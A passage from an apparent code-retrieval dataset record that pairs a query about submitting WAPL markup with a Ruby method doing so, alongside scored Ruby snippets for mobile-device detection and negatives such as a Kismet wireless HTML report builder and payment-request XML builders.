device_pixel_ratio = params[:r].to_f\n logger.info(\"device #{device.display_name} not yet verified, using device pixel ratio #{device_pixel_ratio} from request\")\n elsif params[:r].to_f != device_pixel_ratio\n # known pixel ratio for this device is not the same as what we received in the request. Log this, but don't act on it:\n # assume the info in our db to be accurate.\n logger.warn(\"verified #{device.display_name} has pixel ratio #{device_pixel_ratio}, but doesn't match value from request: #{params[:r]}\")\n end\n end\n\n config = nil\n if device && device.can_render_images_on?\n # only if we have a device and PPI and resolution is known\n config = { :width => (device.resolution_x / device_pixel_ratio).round,\n :height => (device.resolution_y / device_pixel_ratio).round,\n :ppi => device.ppi / device_pixel_ratio,\n :name => device.device_id\n }\n @mobile_match = true\n @mobile_device_name = device.display_name\n else\n # couldn't detect device. See if we can detect it locally\n config = local_handheld_detect\n if config\n logger.info(\"able to detect mobile/tablet #{config[:name]} with local matchers\")\n @mobile_match = true\n @mobile_device_name = I18n.t(\".screen.#{config[:name]}\")\n else\n logger.info(\"unable to detect handset\")\n config = { :ppi => 160, :name => 'unknown', :width => 0, :height => 0 }\n @mobile_match = false\n @mobile_device_name = 'Unknown'\n end\n end\n screen_data.clear # delete any previously stored screens\n cookie = screen_data.save_screen_config(config[:width], config[:height], {:ppi => config[:ppi], :name => config[:name]})\n cookies[ApplicationController::LIFESIZE_COOKIE] = cookie\n\n request.format = :mobile\n @lifesize = LifeSize.new(config)\n end\n true\n end", "def mobile_device?\n ua = request.user_agent.to_s.downcase\n ua =~ Regexp.new(positive_markers.join('|')) && ua =~ Regexp.new(required_markers.join('|')) && ua !~ Regexp.new(negative_markers.join('|'))\n end", "def check_platform\n mobile_override = params[:mobile] && params[:mobile] == \"1\"\n desktop_override = params[:mobile] && params[:mobile] == \"0\"\n if ( (browser.mobile? and !browser.ipad?) or mobile_override ) and !request.xhr? and !desktop_override\n @platform = 'mobile'\n request.format = :mobile\n else\n @platform = 'desktop'\n end\n end", "def is_mobile_request?\n request.user_agent.to_s.downcase =~ /#{MOBILE_USER_AGENTS}/\n end", "def check_for_mobile\n#\tuse_mobile_pages # For development only: controls if I see mobile or desktop version of a page. Uncomment line below for production.\n\tuse_mobile_pages unless desktop? # priority is to use a pages from the 'views_mobile' folder over those from the 'views' folder\n end", "def is_mobile_device?\n self.class.supported_devices.any? do |os, version_range|\n mobile_device_info.operating_system == os &&\n version_range.member?(mobile_device_info.version)\n end\n end", "def force_mobile_by_session?\n session[:mobylette_override] == :force_mobile\n end", "def force_mobile_by_session?\n session[:mobylette_override] == :force_mobile\n end", "def force_mobile_by_session?\n session[:mobylette_override] == :force_mobile\n end", "def detect_browser\n if APP_CONFIG.force_mobile_ui\n return true\n end\n \n mobile_browsers = [\"android\", \"ipod\", \"opera mini\", \"blackberry\", \n\"palm\",\"hiptop\",\"avantgo\",\"plucker\", \"xiino\",\"blazer\",\"elaine\", \"windows ce; ppc;\", \n\"windows ce; smartphone;\",\"windows ce; iemobile\", \n\"up.browser\",\"up.link\",\"mmp\",\"symbian\",\"smartphone\", \n\"midp\",\"wap\",\"vodafone\",\"o2\",\"pocket\",\"kindle\", \"mobile\",\"pda\",\"psp\",\"treo\"]\n if request.headers[\"HTTP_USER_AGENT\"]\n\t agent = request.headers[\"HTTP_USER_AGENT\"].downcase\n\t mobile_browsers.each do |m|\n\t\t return true if agent.match(m)\n\t end \n end\n return false\n end", "def is_mobile_view?\n request.format.to_sym == :mobile\n end", "def is_mobile_view?\n true if (params[:format] == \"mobile\") || (request.format.to_s == \"mobile\")\n end", "def is_mobile_view?\n true if (request.format.to_s == \"mobile\") or (params[:format] == \"mobile\")\n end", "def is_mobile_view?\n true if (request.format.to_s == \"mobile\") or (params[:format] == \"mobile\")\n end", "def in_mobile_view?\n request.format.to_sym == :mobile\n end", "def is_mobile_request?\n request.user_agent.to_s.downcase =~ Regexp.union(MOBILE_USER_AGENTS)\n end", "def in_mobile_view?\n request.format.to_sym == :mobile\n end", "def in_mobile_view?\n request.format.to_sym == :mobile\n end", "def set_device\n # if HTTP_USER_AGENT is blank/nil defaults to blank, i.e. desktop \n agent = request.env[\"HTTP_USER_AGENT\"].blank? ? \"\" : request.env[\"HTTP_USER_AGENT\"].downcase \n if agent =~ tablet_agents\n \"tablet\"\n elsif (agent =~ mobile_agents_one) || (agent[0..3] =~ mobile_agents_two)\n \"mobile\"\n else\n \"desktop\"\n end \n end", "def is_device?(type)\n\t\trequest.user_agent.to_s.downcase.include?(type.to_s.downcase)\n\tend", "def tablet?\n is_tablet_device?\n end", "def respond_as_mobile?\n processing_xhr_requests? and skip_mobile_param_not_present? and (force_mobile_by_session? or is_mobile_request? or (params[:format] == 'mobile'))\n end", "def is_device? type\n request.user_agent.to_s.downcase.include?(type.to_s.downcase)\n end", "def mobile?\n @prefix =~ /\\A1/\n end", "def desktop?\n true # Not nice, but if you're running desktopbrowser, assume running desktop\n end", "def is_mobile_request?\n (not user_agent_excluded?) && !(request.user_agent.to_s.downcase =~ @@mobylette_options[:mobile_user_agents].call).nil?\n end", "def mobile?\n return params[:format] == 'm'\n end", "def mobile?\n return params[:format] == 'm'\n end", "def iphone?\r\n\t\trequest.env[\"HTTP_USER_AGENT\"] && request.env[\"HTTP_USER_AGENT\"][/(Mobile\\/.+Safari)/]\r\n\tend", "def windows_phone?\n !!(ua =~ /Windows Phone/)\n end", "def mobile_viewer?\n mobile_param = params[:mobile]\n viewer = params[:viewer]\n\n (mobile_param == 'true') || (viewer == 'android') || (viewer == 'ios')\n end", "def is_device?(type)\n request.user_agent.to_s.downcase.include?(type.to_s.downcase)\n end", "def respond_as_mobile?\n processing_xhr_requests? and skip_mobile_param_not_present? and (force_mobile_by_session? or allow_mobile_response? or (params[:format] == 'mobile'))\n end", "def is_device?(type)\n request.user_agent.to_s.downcase.include?(type.to_s.downcase)\n end", "def device_type\n case request.user_agent\n when /mobile/i\n \"mobile\"\n when /iPad/i\n \"tablet\"\n when /Android/i\n \"tablet\"\n else\n \"desktop\"\n end\n end", "def mobile?\n return false if number.nil?\n self.number = self.number.gsub(' ', '')\n MOBILE_PREFIXES.any? { |prefix| number.starts_with?(prefix) }\n end", "def is_device?(type)\n request.user_agent.to_s.downcase.include? type.to_s.downcase\n end", "def is_device?(type)\n request.user_agent.to_s.downcase.include? type.to_s.downcase\n end", "def is_mobile?\n country.is_mobile? \"#{area_code}#{number}\"\n end", "def mobile_request?\n #hack for request.domain in case issue with subdomain\n request.subdomains.first == 'm' || request.domain.first == 'm'\n end", "def in_mobile_view?\n return false unless request.format\n request.format.to_sym == :mobile\n end", "def iphone_user_agent?\n request.env[\"HTTP_USER_AGENT\"] && request.env[\"HTTP_USER_AGENT\"][/(Mobile\\/.+Safari)/]\n end", "def respond_as_mobile?\n impediments = stop_processing_because_xhr? || stop_processing_because_param?\n (not impediments) && (force_mobile_by_session? || is_mobile_request? || params[:format] == 'mobile')\n end", "def iphone_user_agent?\n request.env[\"HTTP_USER_AGENT\"] && request.env[\"HTTP_USER_AGENT\"][/(Mobile\\/.+Safari)/]\n end", "def iphone_user_agent?\n request.env[\"HTTP_USER_AGENT\"] && request.env[\"HTTP_USER_AGENT\"][/(Mobile\\/.+Safari)/]\n end", "def iphone_user_agent?\n request.env[\"HTTP_USER_AGENT\"] && request.env[\"HTTP_USER_AGENT\"][/(Mobile\\/.+Safari)/]\n end", "def is_iphone_request?\n request.user_agent.downcase =~ /(mobile\\/.+safari)|(iphone)|(ipod)|(blackberry)|(symbian)|(series60)|(android)|(smartphone)|(wap)|(mobile)/\n end", "def mobile_modifier()\n if browser.device.mobile?\n return '-mobile'\n else\n return ''\n end\n end", "def iphone_user_agent?\n request.env[\"HTTP_USER_AGENT\"] &&\n request.env[\"HTTP_USER_AGENT\" ][/(Mobile\\/.+Safari)/]\n end", "def desktop?\n false # FIXME\n end", "def iphone?\n request.user_agent =~ /iPhone/i\n end", "def china_mobile?\n country_code == '86'\n end", "def mobile_request?\n @mobile_request ||= !!(request.path =~ /^\\/#{mobile_path_prefix}(\\/.*)?$/)\n end", "def mobile_standard\n if request.env[\"HTTP_X_MOBILE_GATEWAY\"]\n out = nil\n else\n\n # request.env[\"HTTP_USER_AGENT\"].match(\"iPhone\") ? \"mobile\" : \"callc\"\n if session[:layout_t]\n if session[:layout_t].to_s == \"mini\"\n\n if request.env[\"HTTP_USER_AGENT\"].to_s.match(\"iPhone\")\n out = \"iphone\"\n end\n end\n if session[:layout_t].to_s == \"full\" or session[:layout_t].to_s == nil\n out = \"callc\"\n end\n if session[:layout_t].to_s == \"callcenter\"\n out = \"callcenter\"\n end\n else\n if !(request.env[\"HTTP_USER_AGENT\"].to_s.match(\"iPhone\") or request.env[\"HTTP_USER_AGENT\"].to_s.match(\"iPod\"))\n out = \"callc\"\n end\n if request.env[\"HTTP_USER_AGENT\"].to_s.match(\"iPhone\")\n out = \"iphone\"\n end\n end\n end\n return out\n end", "def iphone_user_agent?\n return false if ipad_user_agent?\n request.env[\"HTTP_USER_AGENT\"] && request.env[\"HTTP_USER_AGENT\"] =~ /(Mobile\\/.+Safari)/\n end", "def request_device?(device)\n (request.user_agent.to_s.downcase =~ (Mobylette.devices.device(device) || %r{not_to_be_matched_please}) ? true : false)\n end", "def mobile_present?\n !mobile_number.nil?\n end", "def iphone_user_agent?\n (cookies[:iphone] == 'true') || \n (request.env[\"HTTP_USER_AGENT\"] && request.env[\"HTTP_USER_AGENT\"][/(Mobile\\/.+Safari)/] && cookies[:iphone] != 'false')\n end", "def screen_is_on?\n dpms_screen_is_on?\n end", "def is_iphone_request?\n request.user_agent =~ /(Mobile\\/.+Safari)/\n end", "def touch_device\n return 'iphone' if request.user_agent.to_s.downcase =~ /iphone/\n return 'android' if request.user_agent.to_s.downcase =~ /android/\n nil\n end", "def android_user_agent?\n request.env[\"HTTP_USER_AGENT\"] && request.env[\"HTTP_USER_AGENT\"][/(Android)/]\n end", "def iphone_4?\n GBDeviceInfo.deviceDetails.model == GBDeviceModeliPhone4\n end", "def device?\n type == :device\n end", "def simulator?\n !physical_device?\n end", "def physical_device?\n arches.any? do |arch|\n arch[/arm/, 0]\n end\n end", "def ios_mobile_application_management_enabled\n return @ios_mobile_application_management_enabled\n end", "def os_s\n\t\tif(os == 'iPad' || os == 'BlackBerry' || os == 'iPhone' || os == 'Android')\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend", "def is_mobile?(number)\n return true if mobile_format.nil?\n number =~ mobile_number_regex ? true : false\n end", "def mobile_verification_missing?\n return false if test_user? && ENV[\"TEST_USERS_SKIP_MOBILE_VERIFICATION\"]\n return !mobile_phone_verified?\n end", "def for_desktop?\n for_terminal == TerminalEnum.desktop\n end", "def request_ipad?\n request.user_agent.match(/iPad/)\n end", "def process_page_with_mobile(page)\n page.app = app?\n page.mobile = app? || mobile?\n process_page_without_mobile(page)\n end" ]
[ "0.8076384", "0.80602413", "0.80303675", "0.8020441", "0.797894", "0.797894", "0.79370624", "0.7931952", "0.7920051", "0.7920051", "0.7893876", "0.7860712", "0.7858715", "0.78377277", "0.77994734", "0.77473164", "0.76635474", "0.7627628", "0.76069444", "0.7603537", "0.75713485", "0.7557708", "0.7522757", "0.75181496", "0.7451506", "0.7369266", "0.73582786", "0.7287443", "0.717626", "0.7137744", "0.71092266", "0.71053314", "0.7073547", "0.70086426", "0.70086426", "0.69800276", "0.6978984", "0.6866902", "0.68514407", "0.6816968", "0.6816968", "0.6815535", "0.6814205", "0.6775983", "0.6775195", "0.6743219", "0.6716364", "0.670589", "0.6703274", "0.6671067", "0.66634595", "0.6657183", "0.6645955", "0.6644351", "0.6644351", "0.66295755", "0.6622934", "0.6608508", "0.6588686", "0.65799063", "0.65733147", "0.6572849", "0.65724474", "0.65474635", "0.65474635", "0.65382624", "0.6531615", "0.6508677", "0.64308476", "0.64013255", "0.63991696", "0.63991696", "0.63991696", "0.6367676", "0.63463086", "0.63151455", "0.6296466", "0.6292444", "0.62887925", "0.6282864", "0.62821496", "0.6281969", "0.62608945", "0.62204343", "0.6166105", "0.6140984", "0.61391604", "0.61113065", "0.6075947", "0.59855604", "0.5934941", "0.5931625", "0.5887533", "0.5884961", "0.5880674", "0.5858432", "0.58537596", "0.57841104", "0.5780613", "0.5762862" ]
0.7835746
14
Submits the wapl markup along with the headers wapl_xml:: Properly formatted WAPL XML (see docs at htp://wapl.info) or use the WaplHelper module Returns hash containing proper markup for the current device required headers which need to be sent back to the device
def get_markup_from_wapl(wapl_xml="") raise ArgumentError, "Empty string" if wapl_xml == "" res = self.send_request 'get_markup_from_wapl', {'wapl'=>wapl_xml} unless res.body.scan('WAPL ERROR').empty? markup = wapl_xml + "<!-- WAPL XML ERROR #{ res.body } -->" headers = '' else markup_res_xml = REXML::Document.new(res.body).root res = {} markup_res_xml.elements.each('header/item') do |el| splits = el.text.split(': '); h = Hash[splits[0], splits[1]] res.merge! h end markup = markup_res_xml.elements.collect('markup') { |el| el.cdatas} end return {'markup' => markup, 'headers'=>res } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_wapl\n return '<wapl xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:noNamespaceSchemaLocation=\"http://wapl.wapple.net/wapl.xsd\">'\n end", "def header_xml(xml, wsa)\n xml.Header {\n xml[\"#{namespace_key(:wsa)}\"].Action(wsa, \"#{namespace_key(:envelope)}:mustUnderstand\" => true)\n }\n xml\n end", "def html_report_header\n @report << '\n <html>\n <head>\n <title> Kismet Wireless Report</title>\n <style>\n body {\n\t font: normal 11px auto \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n\t color: #4f6b72;\n\t background: #E6EAE9;\n }\n #report-header {\n font-weight: bold;\n font-size: 24px;\n font-family: \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n color: #4f6b72;\n\n }\n\n #sub-header {\n font-weight: italic;\n font-size: 10px;\n font-family: \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n color: #4f6b72;\n\n }\n\n #title {\n font-weight: bold;\n font-size: 16px;\n font-family: \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n color: #4f6b72;\n }\n\n th {\n\t font: bold 11px \"Trebuchet MS\", Verdana, Arial, Helvetica, sans-serif;\n\t color: #4f6b72;\n\t border-right: 1px solid #C1DAD7;\n\t border-bottom: 1px solid #C1DAD7;\n\t border-top: 1px solid #C1DAD7;\n\t letter-spacing: 2px;\n\t text-transform: uppercase;\n\t text-align: left;\n\t padding: 6px 6px 6px 12px;\n }\n\n td {\n\t border-right: 1px solid #C1DAD7;\n\t border-bottom: 1px solid #C1DAD7;\n\t background: #fff;\n\t padding: 6px 6px 6px 12px;\n\t color: #4f6b72;\n }\n\n\n td.alt {\n\t background: #F5FAFA;\n\t color: #797268;\n }\n\n\n\n </style>\n '\n if @options.create_map\n @report << %Q!\n <script type=\"text/javascript\" src=\"http://maps.google.com/maps/api/js?sensor=false\"></script>\n <script type=\"text/javascript\">\n function initialize() {\n var latlng = new google.maps.LatLng(#{@map_centre['lat']}, #{@map_centre['long']});\n var myOptions = {\n zoom: 14,\n center: latlng,\n mapTypeId: google.maps.MapTypeId.ROADMAP\n };\n var map = new google.maps.Map(document.getElementById(\"map_canvas\"), myOptions);\n !\n\n #Yugh this is a hack\n @options.gps_data.each do |bssid,point|\n netname = bssid.gsub(':','')\n\n if @nets_by_bssid[bssid]\n #Next line is present to strip any single quotes from SSID's before putting them into the marker as that causes problems :)\n content_ssid = @nets_by_bssid[bssid]['ssid'].gsub(/['<>]/,'')\n @log.debug(\"About to add \" + content_ssid) if content_ssid\n @report << %Q!\n var contentString#{netname} = '<b>SSID: </b> #{content_ssid} <br />' +\n '<b>BSSID: </b> #{bssid}<br />' +\n '<b>Channel: </b> #{@nets_by_bssid[bssid]['channel']} <br />' +\n '<b>Ciphers: </b> #{@nets_by_bssid[bssid]['cipher']} <br />' +\n '<b>Cloaked?: </b> #{@nets_by_bssid[bssid]['cloaked']} <br />';\n var infowindow#{netname} = new google.maps.InfoWindow({\n content: contentString#{netname}\n });\n !\n end\n @report << %Q!\n var latlng#{netname} = new google.maps.LatLng(#{point['lat']}, #{point['lon']});\n\n var marker#{netname} = new google.maps.Marker({\n position: latlng#{netname},\n map: map\n });\n !\n if @nets_by_bssid[bssid]\n @report << %Q!\n google.maps.event.addListener(marker#{netname}, 'click', function() {\n infowindow#{netname}.open(map,marker#{netname});\n });\n !\n end\n end\n\n @report << %Q!\n }\n </script>\n\n !\n end\n @report << '</head>'\n if @options.create_map\n @report << '<body onload=\"initialize()\">'\n else\n @report << '<body>'\n end\n @report << '<div id=\"report-header\">Kismet Wireless Report</div> <br /> <div id=\"sub-header\"> Report Generated at ' + Time.now.to_s + '<br />'\n @report << 'Files analysed ' + @options.file_names.join(',<br />') + '<br /> <br /></div>'\n end", "def basic_data_xml\n headers[\"content-type\"]=\"text/html\";\n end", "def process_request(legacy_xml_or_hash)\n c.soap(:ProcessRequest, { \n :ProcessRequest => { \n :_attributes => { :xmlns => 'http://wildwestdomains.com/webservices/' },\n :sRequestXML => \n c.class.escape_html(\n \"<wapi clTRID='#{GoDaddyReseller::API.next_uid[0..50]}'\" + \n \" account='#{user_id}' pwd='#{password}'>\" +\n \"#{legacy_xml_or_hash.is_a?(Hash) ? c.class.xml_encode_hash(legacy_xml_or_hash) : legacy_xml_or_hash.to_s}\" +\n \"</wapi>\"\n )\n }\n }\n )\n end", "def build_request_header\n web_authentication_detail = XmlNode.new('WebAuthenticationDetail') do |wad|\n wad << XmlNode.new('UserCredential') do |uc|\n uc << XmlNode.new('Key', @options[:key])\n uc << XmlNode.new('Password', @options[:password])\n end\n end\n \n client_detail = XmlNode.new('ClientDetail') do |cd|\n cd << XmlNode.new('AccountNumber', @options[:account])\n cd << XmlNode.new('MeterNumber', @options[:login])\n end\n \n trasaction_detail = XmlNode.new('TransactionDetail') do |td|\n td << XmlNode.new('CustomerTransactionId', @options[:po_number]) \n end\n \n [web_authentication_detail, client_detail, trasaction_detail]\n end", "def render_xml_response \n @trust.update_attributes(:expires_at => Time.now.utc) if @trust && @trust.xml_expire? \n response.headers['CONTENT_TYPE'] = 'text/xml; charset=utf-8' \n response.headers['Content-Type'] = 'text/xml; charset=utf-8' \n render :text => \"<Response>#{@resp.headers['location'].gsub(/&/,'&#38;')}</Response>\" \n end", "def data_xml\n headers[\"content-type\"]=\"text/html\";\n end", "def xml\n\t\theaders[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\t\trender :layout => false\n\tend", "def write_header() \n @builder.head do\n @builder.title('OmniFocus OPML Export')\n @builder.dateCreated(Time.now.httpdate)\n @builder.dateModified(Time.now.httpdate)\n# TODO @builder.ownerName(\"\")\n# TODO @builder.ownerEmail('[email protected]')\n end\n end", "def disp_xml_rq\n body= File.open(\"public/OTA/OTA_HotelAvailRQ100.xml\").read\n render :xml => body\n end", "def op_send_request_xml(params)\n return '' unless valid?\n\n # update the ticket with the metadata sent at the first request for XML (i.e. if not blank)\n @ticket.update!(\n hpc_response: (@ticket.hpc_response || params[:hcpresponse]),\n company_file_name: (@ticket.company_file_name || params[:company]),\n country: (@ticket.country || params[:country]),\n qbxml_major_version: (@ticket.qbxml_major_version || params[:major_ver]),\n qbxml_minor_version: (@ticket.qbxml_minor_version || params[:minor_ver])\n )\n\n # only process when in the Authenticated or Processing states\n unless ['Authenticated', 'Processing'].include?(@ticket.state)\n @ticket.request_error!(@last_log_message)\n return ''\n end\n\n # either grab the current request or create a new one\n request = @ticket.qb_request\n unless request\n request = create_request\n @ticket.qb_request = request\n end\n\n # if we don't have a request, then we are done.\n unless request\n log \"There is no more work to be done. Marking ticket state as finished\"\n @ticket.update!(state: 'Finished')\n return ''\n end\n\n request.update!(qb_ticket: @ticket, request_sent_at: Time.zone.now)\n qb_xml = request.to_qb_xml\n request.update!(request_qbxml: qb_xml)\n\n # set the ticket into a Processing state\n @ticket.state = 'Processing'\n\n # save the changes.\n @ticket.save!\n\n log \"Sending request [#{request.state}] XML to QuickBooks\"\n\n qb_xml\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def to_xml\n if username_token? && timestamp?\n Gyoku.xml wsse_username_token.merge!(wsu_timestamp) {\n |key, v1, v2| v1.merge!(v2) {\n |key, v1, v2| v1.merge!(v2)\n }\n }\n elsif username_token?\n Gyoku.xml wsse_username_token.merge!(hash)\n elsif timestamp?\n Gyoku.xml wsu_timestamp.merge!(hash)\n else\n \"\"\n end\n end", "def headers\n {\n 'X-EBAY-API-COMPATIBILITY-LEVEL' => @compatability_level.to_s,\n 'X-EBAY-API-DEV-NAME' => dev_id.to_s,\n 'X-EBAY-API-APP-NAME' => app_id.to_s,\n 'X-EBAY-API-CERT-NAME' => cert_id.to_s,\n 'X-EBAY-API-CALL-NAME' => @command.to_s,\n 'X-EBAY-API-SITEID' => @site_id.to_s,\n 'Content-Type' => 'text/xml'\n }\n end", "def authorizeAndCaptureXML(params)\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest',\n 'i:type' =>\"AuthorizeAndCaptureTransaction\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id \n xml.Transaction('xmlns:ns1' => \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard\", \n 'i:type' => \"ns1:BankcardTransaction\" ){\n xml['ns1'].TenderData{\n if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present?\n #p \"Swipe card..maga...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SwipeStatus])\n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation params[:IdentificationInformation]\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? \n #p \"Swipe card..Dukp...\"\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:SecurePaymentAccountData])\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:EncryptionKeyId])\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardSecurityData{\n xml['ns1'].IdentificationInformation('i:nil' =>\"true\")\n }\n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n elsif params[:PaymentAccountDataToken].present?\n #p \"PaymentAccountDataToken...........\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\n \"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:PaymentAccountDataToken])\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end", "def render(xm=Builder::XmlMarkup.new(:indent => 2))\n [:name, :visibility, :address].each do |a|\n xm.__send__(a, self.__send__(a)) unless self.__send__(a).nil?\n end\n \n xm.description { xm.cdata!(description) } unless description.nil?\n xm.open(self.open) unless open.nil?\n \n xm.phoneNumber(phone_number) unless phone_number.nil?\n xm.styleUrl(style_url) unless style_url.nil?\n \n unless address_details.nil?\n xm.AddressDetails(:xmlns => \"urn:oasis:names:tc:ciq:xsdschema:xAL:2.0\") { address_details.render(xm) } \n end\n \n xm.Snippet(snippet.text, snippet.max_lines) unless snippet.nil?\n \n xm.LookAt { look_at.render(xm) } unless look_at.nil?\n xm.TimePrimitive { time_primitive.render(xm) } unless time_primitive.nil?\n xm.StyleSelector { style_selector.render(xm) } unless style_selector.nil?\n end", "def create_xml_header(xml,options)\n xml.instruct!(:xml, :version => '1.0', :encoding => 'utf-8')\n xml.instruct!(:qbmsxml, :version => 